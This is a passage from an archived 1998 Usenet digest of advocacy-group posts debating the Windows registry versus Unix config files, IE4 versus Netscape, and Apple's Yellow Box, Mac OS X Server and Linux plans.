one gives me hands down more functionality and productivity I will gravitate
towards it naturally.
MS right now makes the best web browser out there period. I welcome
Netscape, or anyone else to offer me a better choice. I would jump on it,
and leave MS I.E.4 like a bad habit. That's the reality of the consumer
market. MS will probably not anytime too soon port to Linux. Even if they
did I'm confident the end result would pale in comparison to their native
offering. I'll wait to see what Mozilla comes up with. Anything would be
welcome to Netscape for Linux.
And please, no ballyhoo-ing over MS being unfair to Netscape. Their business
practice's are indeed suspect at the very best. That in and of itself does
not preclude NS from building a better browser.
They haven't and I don't think they can.
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: 18 Dec 1998 10:48:34 -0700
Organization: Idaho State University
Message-ID: <75e4hi$sa2$1@inconnu.isu.edu>
References: <36717987.21076075@news2.asan.com> <758bsk$bic$1@nnrp1.dejanews.com> <75906j$mpl$1@inconnu.isu.edu> <75dsas$15t$1@nnrp1.dejanews.com>
In article <75dsas$15t$1@nnrp1.dejanews.com>,
<westprog@my-dejanews.com> wrote:
->> I love all these 'supposed' benefits of the registry that you guys
->> keep on coming up with. When, if ever, is this actually _used_ in a
->> real-world situation? If your video card drivers die on you then you
->> can boot up in VGA mode. If your video card drivers work, then you
->> can simply fix the problem after the system is up and running.
->
->By changing what? The point of a registry is that you know exactly what
->changes have been made.
Since when? When was the last commit on the database? Is it really
the fault of the registry that the system is broken, or is there some
corrupt driver out there? What if the registry changes still make a
stable system, how do you rollback a certain portion of the registry
to some known date in the past? How is any of this simpler or easier
than backing up text files with the rest of your system?
->> It doesn't! I don't mean any disrespect, but UNIX systems do not
->> mysteriously stop working (aka "the desktop rust effect" that both
->> Macs and Windows machines suffer from) after so many days. If you
->> compile a kernel that doesn't work with your hardware, simply boot up
->> with your previous kernel image (LILO does this for Linux machine).
->> If your kernel boots up, then you can fix whatever problem while the
->> system is live or in single-user mode.
->
->As I am working on a Unix system right now, I know that users are constantly
->having problems which need fixing. Unix rarely crashes, but it can easily
->arrive at a state where it is impossible to get work done.
Yes, but the system administrator will usually have a good idea of
what they did which put the system in this state. A transaction-based
registry wouldn't help them out if they killed the power during a libc
update (something sure to wreak havok on a UNIX system without fully-
journaled filesystems).
With UNIX (Linux and *BSD in particular), you just boot up with a
floppy and fix it up.
->> That is all pointless if the information contained in the registry is
->> world-writtable and screwed up by various incartations of
->> InstallShield and other such nonsense. Take a look at the "Anti-Linux
->> FUD" thread in these newsgroups to see how this has been hashed out
->> there.
->
->The answer to this is not to make everything writeable by an ad hoc assembly
->of text editors - the answer is to impose a sensible discipline on the
->registry.
In part, I agree. The majority of the problems with the registry stem
from a lack of leadership on Microsoft's part to _enforce_ the
policies which the registry is capable of. It is unheard of for
users to be able to write to system-wide configurations under UNIX,
with NT it is common-place.
Text files wouldn't solve these problems (as witnessed by the
WINDOWS.INI and SYSTEM.INI files in previous versions), but they do
present many *other* advantages.
->It is an advantage of the registry that while Installshield (in its
->various 'incartations') can overwrite records in the registry, it can only do
->so via an API which prevents it affecting any other records.
Which can be just as easily achieved with text files.
->I can think of lots of ways of improving a registry. Splitting it up into a
->large number of text files, in a number of different locations, with a lot of
->different formats, would not be one of them.
->
->> There are at least 3 disadvantages to using the registry for every
->> supposed advantage.
->
->Ah, but the advantages are 5 times as important as the disadvantages.
See Darwin's posts in "Anti-Linux FUD" for a nice debate on this.
--
The wheel is turning but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
Message-ID: <367A95A1.B378DE8C@klassy.com>
Date: Fri, 18 Dec 1998 09:49:21 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <367A87F4.ECBD2BBC@klassy.com> <367a8c8c.47321204@news2.asan.com>
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Willy wrote:
> On Fri, 18 Dec 1998 08:51:00 -0800, in comp.os.ms-windows.advocacy
> Josiah Fizer <mib@klassy.com> wrote:
>
> >And yet I can still use non dodge stero systems in my dodge truck. Yet I can not realy use
> >Netscape in Win 98, I can install and run it but I'm still going to be using IE4.
>
> No; you're going to be using Navigator. The only time you will use IE
> is when the OS needs something that Navigator can't give it.
Like browsing the hard drive or opening a window etc etc. I will still be using IE every day.
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-tiJticsGbUP7@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost> <75coq3$hfr@news1.panix.com>
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Date: 18 Dec 98 18:03:35 GMT
On Fri, 18 Dec 1998 05:22:11, sal@panix.com (Sal Denaro) thought
aloud:
> On 17 Dec 98 19:28:07 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >> What I question is the logic that Apple should pull resources away from
> >> building YB on its hardware, and on Windows to do it.
> >I haven't even seen such logic floating around here.
>
> I was refering to the comment that MJP made:
[cut]
Maybe Michael got caught off guard with that statement? Or just
changed his mind? His idea of hiring a couple of extra pairs of hands
and eyeballs to work on the new port sounds okay to me, considering
that Apple isn't in a cash crunch (on the contrary) and keeping the
Linux option viable if/when need arises may be relatively important.
At the very least I'd expect Apple to have someone not unlike Vinod
Valloppillil (sp?) studying Linux's threats and opportunities. The
latter - opportunity - is something MS fundamentally lacks and also
something that would warrant a closer technical look, incl. YB
feasibility study, from Apple's point of view.
> > Yes, the highest
> >priority should naturally go to getting the PowerPC version out
> >(MOSXS) and then finishing (MOSX).
>
> I agree (as long as you add YB/Windows to the top priority list :)
Sure, to the "top priority list" but not to the top of that priority
list. ;-) I'm quite certain Apple will give priority to delivering
the long-awaited PowerMac-native OS and to protecting existing users'
YB investments on Intel.
But current priorities may not apply after the urgent projects have
been completed in '99. Jump 5 years into the hazy distant future, and
Marc Andreessen believes that the Unix camp will have consolidated
squarely behind Linux. It's a scenario worth paying some attention to.
> > What comes to other YB projects, I
> >would think some of the other platform work could be done in parallel
> >with the main MOSX project by increasing headcount...
>
> Recent comments I've heard would lead me to think that some parts of
> Apple would rather port WOF to other Unix platforms first, and then do
> YB for those that are more likely to be used as desktops rather than
> servers. Keep in mind that Apple is often an unreliable source of
> information about Apple...
The idea is interesting though. The question of how Apple would
perceive/position Linux arises again. We can discuss but not answer
the questions of 'YellowHat' and add-ons on the desktop space; and
Solaris/HP-UX vs. Linux in the server space. Perhaps later the
discussion will be YB/Linux vs. post-MOSXS intel versions... (versus
not meaning total either-or situation)
> > or by letting
> >the platforms do some work for themselves (e.g. GNUstep?).
>
> Hmmm... Why not?
This project is quite intriguing as its future importance could vary
greatly depending on Apple's approach.
> I wonder how many YB developers would port to GNUStep once it were
> mature enough to port to.
And how attractive it would be in promoting new development.
> >> While that is hardly _major_, it does demonstrate that Apple is aware
> >> that the free software movement exists.
> >The recent rumours of mkLinux project's health aren't flattering, but
> >then again it could also indicate that a replacement project could be
> >on the way... Yes, these are welcome gestures although not
> >image-building in the over-powering and mind-numbing headline
> >capturing sense.
>
> I agree with your point.
MWSF should bring us, if not a refreshed roadmap, at least some more
tea leaves to study. But since it is largely a consumer-focused show -
and probably even more so now than before given Apple's renewed
ambitions in the consumer space - I would guess that Mac OS X Server,
let alone any Linux-based initiatives, would be downplayed somewhat.
Regarding MOSXS that would probably just show as a lack of PR push
while it should get attention among a more limited audience. Any Linux
initiatives, OTOH, could well have to wait until some 90-day surprise
slot or the WWDC.
I suppose we'll both keep our eyes peeled...
Brgds,
--
taiQ
[this space was intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-l3INZ9lM64Yd@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <36783d7f.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-7pqEx61XfNtl@localhost> <3678CBC7.997A4D7D@nstar.net> <us5zp8m7hsd.fsf@kit.ai.mit.edu>
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Date: 18 Dec 98 18:04:09 GMT
On Thu, 17 Dec 1998 18:19:30, Stephen Peters <portnoy@ai.mit.edu>
thought aloud:
> "Michael J. Peck" <mjpeck@nstar.net> writes:
>
> > For what it's worth, my opinion is that most ex-NeXTers have a mixed
> > bag of feelings toward Linux, most of which range from vague
> > disinterest to outright dislike.
I think the stuff in the bag includes everything from mild annoyance
("you're boring me") and vague interest ("are they onto something?")
to outright liking ("match made in heaven"). But then again, I don't
pay much attention to who is posting the stuff. Heck, you could all be
one and same seriously disturbed person furiously typing the night
away... <g> <- - - warning - poor attempt at humour!>
> I think you're wrong, and believe that your opinion is probably based
> more on your own opinions of us "ex-NeXTers" than on any statements
> you've read here in c.s.n.a.
Michael said he's giving his opinion of "most ex-NeXTers"... and
therein lies the rub.
Especially in *.advocacy discussion groups, where speculation and
opinions are ever-present (for "facts only" go to *.setup and hope for
the best ;), all too often battle lines are formed, trenches are dug
and faces (names) never really forgotten or forgiven. It may still be
advocacy, but of one's own agenda and often without thinking of the
Greater Good[TM]. It may also become destructive, or derisive,
advocacy where the objective is simply to strike the "opposing" views
down by attacking the person's credibility or by ridiculing his
observations.
Things change, and this is especially true for the field we're
discussing about. Yet the atmosphere often discourages participants
from admitting that their opinions have been "upgraded" to reflect new
information or situation. The Chinese concept of "losing face" is
alive and well. But what if we aren't infallible? What if we give the
other guy the benefit of a doubt and allow him to build his case?
(where are all the gals, btw?)
Forgetting egos and presumptions and concentrating on the message
should help promote civility, as would "if I have nothing constructive
to say, say nothing" (or say it in private) guideline.
OK, now and then "pissing contests" inevitably emerge by a delicate
and carefully nurtured mutual (mis)understanding. Feel free to indulge
yourselves, but do make sure first that the enjoyment is mutual. :-)
(and try not to escalate it to other threads)
> Oddly enough, most people I know are capable of differentiating
> between the advocates and the platform. If you actually *read*
> c.s.n.a, you might notice that the same attitude is presented to
> advocates for Windows, the Mac Finder, GX, OS/2, and a host of others.
> You only think it's toward Linux when the reaction is against an
> advocate for a platform that you're interested in. Lawson thinks we
> all hate GX, too. He can't seem to realize that it's mostly him we
> dislike.
Come to think of it, the "NeXT bunch" has shown incredible versatility
in the past when the platform seemed heading for inevitable twilight
then suddenly jumping to the center of mainstream attention only to be
put on indefinite backburner again yet with wide adoptation so close
within reach... talk about a wild ride.
Mac OS X will be the native son, but yet c.s.n.a is also the home of
the Yellow Box which is a platform-agnostic solution (to the extent it
is allowed to) and to other Unix-centric technologies not to mention
c.s.n.a's becoming an adopted home to other cross-platform
technologies such as QTML as well. As a result it may be unnecessary
to try differentiating between platforms as long as the discussion is
relevant to advancing Mac OS X or related technologies. Anything else
and... forget that damn holster... <fumble> FIRE! <g>
I do understand that this causes confusion and inconvenience e.g. to
those interested only in the "native" BSD+YB implementation of Mac OS
X but hey, that's what subject headers used to be for. ;-)
Brgds,
--
taiQ
[this space was intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-dWbOR7wbd7i7@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <367969ed.0@stan.astra.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 18 Dec 98 18:03:48 GMT
On Thu, 17 Dec 1998 20:30:37, mmalcolm crawford <malcolm@plsys.co.uk>
thought aloud:
> In <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost> taiQ wrote:
> > > What I question is the logic that Apple should pull resources away from
> > > building YB on its hardware, and on Windows to do it.
> >
> > I haven't even seen such logic floating around here.
> >
> Umm ["Umm" represents a non-confrontational style of disagreement], this was
> certainly part of the discussion at an earlier stage.
Okay. Perhaps (used in the conversational sense and not implying
disagreement) such logic was floated in some earlier discussions but
AFAICT the idea has since "sunk" and in any case it didn't appear in
my lengthy discussions with Sal "here".
> > Yes, the highest
> > priority should naturally go to getting the PowerPC version out
> > (MOSXS) and then finishing (MOSX).
> >
> And what about the Intel version? Based on one of your earlier posts...
Intel version of MOSX Server has natural high priority as safeguarding
existing YB investments along with YB for Windows.
I've also been open to discussing whether the 'real' Mac OS X needs
delivery on Intel platform, or whether e.g. advanced-enough YB for
Linux or 'YellowHat' could fill those needs at later stage.
> > OSX/Intel, even if it would be planned, would face a big, costly
> > compatibility barrier which OTOH Linux solves or has solved by huge
> > collective effort. Without that support, common peripherals mean only
> > as much as they do to Mac users today.
> >
> ... you seem to suggest that you're unaware of the current existence of
> Rhapsody/Intel... Rhapsody was ported *from* Intel *to* PPC.
You lost me there for a moment as I didn't at first realize the above
quoted paragraph was lifted from another thread... I had to look
thrice.
To reply to your suggestion, I have been and still am aware of
Rhapsody's origins ever since its Dec '96 - Jan 7th '97 appearance (as
a strategy). In the context of that quotation I was arguing with Sal
about the relevance of YB for Linux compared to Mac OS X for Intel. I
did not argue against doing the MOSX/Intel port but suggested Linux as
an alternative or additional Intel offering. One argument against
_MOSX-only_ (on Intel) scenario was the hardware support issue you
quoted above. Taken out of context such paragraphs can indeed look
like anti-MOSX FUD, but there was no danger of that in my discussion
with Sal.
In reply to the message that the quote was lifted from I also received
a mention of a toolkit for porting Linux's GPL'd drivers to Mac OS
(X?) and while I couldn't find the referred StepWise article the
existence of such a toolkit would naturally help Mac OS X's viability
on Intel were such port to materialize.
> > What comes to other YB projects, I
> > would think some of the other platform work could be done in parallel
> > with the main MOSX project by increasing headcount...
> >
> Maybe, maybe not; "The mythical man month" comes to mind. NeXT managed to
> support four commercial platforms, development of new technologies etc.etc.
> with only about 300 engineers.
I agree that the 3M effect may or may not apply to the existing and
larger core efforts but I'm also fairly convinced that there would be
Linux-related work (since it'd be a new project and not increasing the
headcount of the existing core projects) that could be done in
parallel with other teams. Wrt. Linux project, it would be a question
of "nothing-yet" versus "studying, planning, implementing" and I don't
see the 3M effect affecting the latter option anytime soon.
> > Yes, these are welcome gestures although not
> > image-building in the over-powering and mind-numbing headline
> > capturing sense. The StepWise folks had some good ideas and I'd be
> > interested in learning more of e.g. which YB technologies could be
> > released in the (semi-)open and under what conditions to create
> > synergies that help Apple while helping the Linux community help
> > themselves.
> >
> I'm not sure which of our "good ideas" you're referring to?
>
> Don and Patrick made a "Modest Proposal" (cf
> http://www.of.org/rhaptel/proposal/index.html) a while back which sent
> shockwaves around some parts of the Net, suggesting that "Apple should become
> a part of the open source community by releasing the Mach OS and Driver
> source code." This is a rather different idea than releasing source code to
> YB. That said, NeXT/Apple has released some source to Don as part of the
> MiscKit project (e.g. for IXKit), but again only for kits which are no longer
> commercially supported.
Releasing the Driver Kit (IOKit?) would IMO be a good idea as it would
at minimum help Mac OS X Server on Intel and later this year Mac OS X
(PPC) might ship with better 3rd party hardware support in place.
Having the Linux community adopt the Driver Kit would IMO be a major
win for Apple.
The question of releasing the Apple Mach source is more complicated
and largely depends on whatever course Apple will take to conquer
Intel markets but I'd still consider the idea as good. (A good idea
means to me something worth discussing further)
> Whilst I'm fairly neutral about opensourcing the Mach / BSD layer (although
> it's probably a Good Thing, and Apple has already stated that source will be
> free to some universities anyway)
This is an interesting question. The limited 'educational exposure'
(of Mach) makes sense to me now, and as long as Apple concentrates on
building atop a core it feels it must control. OTOH the 'proprietary'
Unices seem to be converging to support Linux compatibility first and
later perhaps disappearing altogether (Marc Andreessen predicts latter
will happen in five years). Yet OTOH Apple's potential volume as a
future Unix vendor might allow it to stick with Mach (defying
Andreessen's predictions :-) and even benefit from doing so. This
would not, however, mean that Apple shouldn't eventually support the
Linux kernel with YB.
> I personally think it unlikely that source
> to YB itself will be released, as it's unlikely to be in Apple's commercial
> interest, at least for a while.
Agreed. Yet in the longer term I would see it in Apple's interest to
make YB the API-of-choice on Linux (thus covering the emerging
Mac-Linux-Win triangle) and that would mean, AFAICT, opening the
source under well-thought licensing scheme. In our long discussions
with Sal regarding this subject I have estimated this should happen
ideally not later than mid-2000 or the advances in other "WIN32-Linux"
methods and toolkits and in the Linux UI development (GNOME, KDE)
threaten to make YB less attractive or unique for users and especially
to cross-platform developers who target Linux and WIN32.
Of course, Apple may only wish to port the YB runtime for Linux when
resources make themselves available, or to ignore Linux altogether.
> To some extent at least commercial success
> with this sort of enterprise seems predicated on having a technical
> consultancy business arm... and that's exactly what Apple's moving *away*
> from (insofar as it had such through NeXT).
There were rumours recently of some Apple building being converted
into a customer support center or somesuch... ;-)
Brgds,
--
taiQ
[this space was intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-8iNIWGrzSzC7@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <36783d7f.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-7pqEx61XfNtl@localhost> <3678CD2A.453DBFD9@nstar.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
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Date: 18 Dec 98 18:04:13 GMT
On Thu, 17 Dec 1998 09:21:46, "Michael J. Peck" <mjpeck@nstar.net>
thought aloud:
> > Couldn't you just stop fixating on something that isn't, admit you
> > were wrong and move on concentrating on issues more important than
> > creating bad blood for no reason? Michael is right, you know - your
> > behaviour has all the potential of turning people away from this
> > community.
>
> He's talking about both of us, mmalcolm, whether he knows it or not.
Michael... come to think of it... I suppose you're right! It was a
quite an appeal and just in time for the festive season. (we've no
snow here, bummer, but at least my one-foot-tall genuine fir tree is
still alive)
Somehow even the air smells so fresh now. :^)
Cheers,
--
taiQ
[this space was intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-BplhC3VdgvoW@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <F44pyv.3I@T-FCN.Net>
MIME-Version: 1.0
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Content-Transfer-Encoding: quoted-printable
Date: 18 Dec 98 18:04:02 GMT
On Thu, 17 Dec 1998 21:49:42, maury@remove_this.istar.ca (Maury
Markowitz) thought aloud:
> In <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> taiQ wrote:
> > No, but surely you aren't going to deny the potential to make at least
> > a few million new Apple customers. ;-) For all I know Apple has pretty
> > complete arsenal of worthy tools to offer (YB, QTML) and little to
> > lose in trying to create a new Apple market in that space.
>
> Except for money. Personally I think that's not as important an issue as
> it was a year ago, but they still can't afford to go nuts.
>
> > Success in one market breeds success in others.
>
> Well that's a pretty wide reaching statement, one that I can name dozens
> of counterexamples too.
In the context of API's and especially in the case of YB and its
unique cross-platform benefits I think I'll stand by my 'statement'.
> > credibility and critical mass of momentum, the tide lifts all the
> > boats...
>
> _Can_, but certainly not a guarentee.
I think of it this way: being there (Linux w/ YB) offers the
synergistic potential I described above; not being there allows
other(s) to take that position. (WIN32 <-> Linux/Unix porting, Java)
> > I see your point but I'm afraid I don't agree - e.g. any
> > cannibalization would be the natural price of creating opportunities
> > in other areas.
>
> Whoa, that too seems to like a very difficult thing to demonstrate. The
> clone market shows the exact opposite in fact. Once burned...
How is this YB for Linux different from its Windows counterpart in
this sense? If anything, Linux is an emerging and open market where
Apple could increase its relevance as a non-niche player while the
WIN32 market will always remain under Microsoft's control.
I think the situation and market mechanisms involved in the hardware
cloning experiment were different enough not to bear direct relevance
in this matter.
Rgds,
--
taiQ
[this space was intentionally blank]
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 10:07:26 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77l6eu.90c.jedi@dementia.mishnet>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com> <75ddkk$knj$1@nnrp1.dejanews.com> <75e3n7$evj$1@juliana.sprynet.com>
On Fri, 18 Dec 1998 12:36:36 -0500, Mark <ubercat@m3.sprynet.com> wrote:
>
>If Netscape could ship a browser with a feature-set comparable to MS's I
Besides a few M$ vendor-lock additions & the ability to use
it as your filemanager, it's still the same old Mosaic it
ever was.
>would welcome it bundled, or I would pay for it. The fact is they haven't,
>and apparently they can't. MS's OS's aside, some of their applications are
>best of breed like it or not. I used to hate I.E. 4, in fact I bashed it
>every chance I got. But then somewhere along the way I did three things;
>1) I tried every other browser I could find.
>2) I grew up.
>3) I realized that the browser is just a means to an end...web browsing. If
>one gives me hands down more functionality and productivity I will gravitate
>towards it naturally.
>
>MS right now makes the best web browser out there period. I welcome
That certainly explains why it has this nasty habit of
every so often thinking that the net connection has gone
down when it really hasn't, popping up a dialog box and
stopping the current transfer.
[deletia]
You've done nothing to support your assertion that
IE4 is more 'featureful' than Netscape.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 10:11:17 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77l6m5.90c.jedi@dementia.mishnet>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <367A87F4.ECBD2BBC@klassy.com> <367a8c8c.47321204@news2.asan.com> <367A95A1.B378DE8C@klassy.com>
On Fri, 18 Dec 1998 09:49:21 -0800, Josiah Fizer <mib@klassy.com> wrote:
>Willy wrote:
>
>> On Fri, 18 Dec 1998 08:51:00 -0800, in comp.os.ms-windows.advocacy
>> Josiah Fizer <mib@klassy.com> wrote:
>>
>> >And yet I can still use non dodge stero systems in my dodge truck. Yet I can not realy use
>> >Netscape in Win 98, I can install and run it but I'm still going to be using IE4.
>>
>> No; you're going to be using Navigator. The only time you will use IE
>> is when the OS needs something that Navigator can't give it.
>
>Like browsing the hard drive or opening a window etc etc. I will still be using IE every day.
>
Netscape 1.01N was able to 'browse the harddrive' actually.
Hell, it's probably where M$ got the idea that they could
turn Mosaic into the user interface and make their browser
an intimate part of the OS.
Using IE vs just plain old explorer for the filemanager
delivers no relative benefit at all.
Although, for awhile, it did cause the situation that
you could be without a shell in windows if you browsed
the wrong page on the web with java turned on.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
Message-ID: <367A9FA8.5286A043@klassy.com>
Date: Fri, 18 Dec 1998 10:32:08 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com> <75ddkk$knj$1@nnrp1.dejanews.com> <75e3n7$evj$1@juliana.sprynet.com>
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Mark wrote:
> If Netscape could ship a browser with a feature-set comparable to MS's I
> would welcome it bundled, or I would pay for it. The fact is they haven't,
> and apparently they can't. MS's OS's aside, some of their applications are
> best of breed like it or not. I used to hate I.E. 4, in fact I bashed it
> every chance I got. But then somewhere along the way I did three things;
> 1) I tried every other browser I could find.
> 2) I grew up.
> 3) I realized that the browser is just a means to an end...web browsing. If
> one gives me hands down more functionality and productivity I will gravitate
> towards it naturally.
>
> MS right now makes the best web browser out there period. I welcome
> Netscape, or anyone else to offer me a better choice. I would jump on it,
> and leave MS I.E.4 like a bad habit. That's the reality of the consumer
> market. MS will probably not anytime too soon port to Linux. Even if they
> did I'm confident the end result would pale in comparison to their native
> offering. I'll wait to see what Mozilla comes up with. Anything would be
> welcome to Netscape for Linux.
> And please, no ballyhoo-ing over MS being unfair to Netscape. Their business
> practice's are indeed suspect at the very best. That in and of itself does
> not preclude NS from building a better browser.
> They haven't and I don't think they can.
Um, MS makes the only web browser now (Ok there's Opora but I can say I like the
interface much). You see Netscape is gone, thats why there is no new versions of
Navigator with the same features as IE4.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 18 Dec 1998 18:31:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75e72a$b38$1@nnrp1.dejanews.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <75btmj$dbp$1@nnrp1.dejanews.com> <3679A53F.5AD5CA77@nstar.net>
In article <3679A53F.5AD5CA77@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>>> Yeah, but...what would that accomplish? I need a system that runs X
>>> software...what's this, a trial version? What the hell good does this do
>>> me?
>>
>> It lets you run X and decide whether to pay for that product? Or maybe
>> someone'll build a freely available port like they did with NEXTSTEP way back
>> when.
>
> Maybe. But it still doesn't give the user the solution he or she needs.
No; it lets them try out a product and decide whether that product does
provide a solution that suits their needs.
> Suppose you were to claim that Solaris needs better Windows
> compatibility, and I pointed out that a demo of WABI used to ship with
> older versions. What kind of answer is that?
So long as I can purchase WABI (or SoftWindows, or whatever), it lets me try
out a potential solution and decide whether to purchase WABI. What's the big
deal?
>> Why do you make that assumption? I'd certainly want to use the Blue Box to
>> run things like Office 98 for the Mac (if M$ didn't do a native port). As
>> for Carbon, I have no desire to program to it, but I don't object to my
>> system being able to run Carbon apps as full, native processes, either.
>
> But that's the point; compatibility and interoperability is the purpose
> of Blue Box's inclusion. You don't want Blue Box because you want to use
> the Toolbox, you want Blue Box because you want to use Toolbox apps.
Exactly. The capability running MacOS apps is something Apple decided was
essential.
> Well, I'm saying precisely the same thing for X Windows.
And the difference is that Apple does not view shipping X as essential,
although you appear to.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 18 Dec 1998 18:34:52 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <75e78c$eov$1@geraldo.cc.utexas.edu>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <distler-1712981622090001@cheshire.ph.utexas.edu> <F464qn.KDo@T-FCN.Net> <distler-1812981045280001@192.168.0.1> <75e3ra$8nj$1@crib.corepower.com>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
nurban@crib.corepower.com (Nathan Urban) wrote:
>In article <distler-1812981045280001@192.168.0.1>,
distler@golem.ph.utexas.edu (Jacques Distler) wrote:
>
>> You can't "paste" the text into another application, but you sure can drag
>> it into another application. Just as good as pasting, except you use the
>> mouse instead of command-p.
>
>> What's the diff?
>
>That you have to use the mouse instead of Command-p (not a minor issue
>to me; I use keyboard shortcuts for everything), that there are two
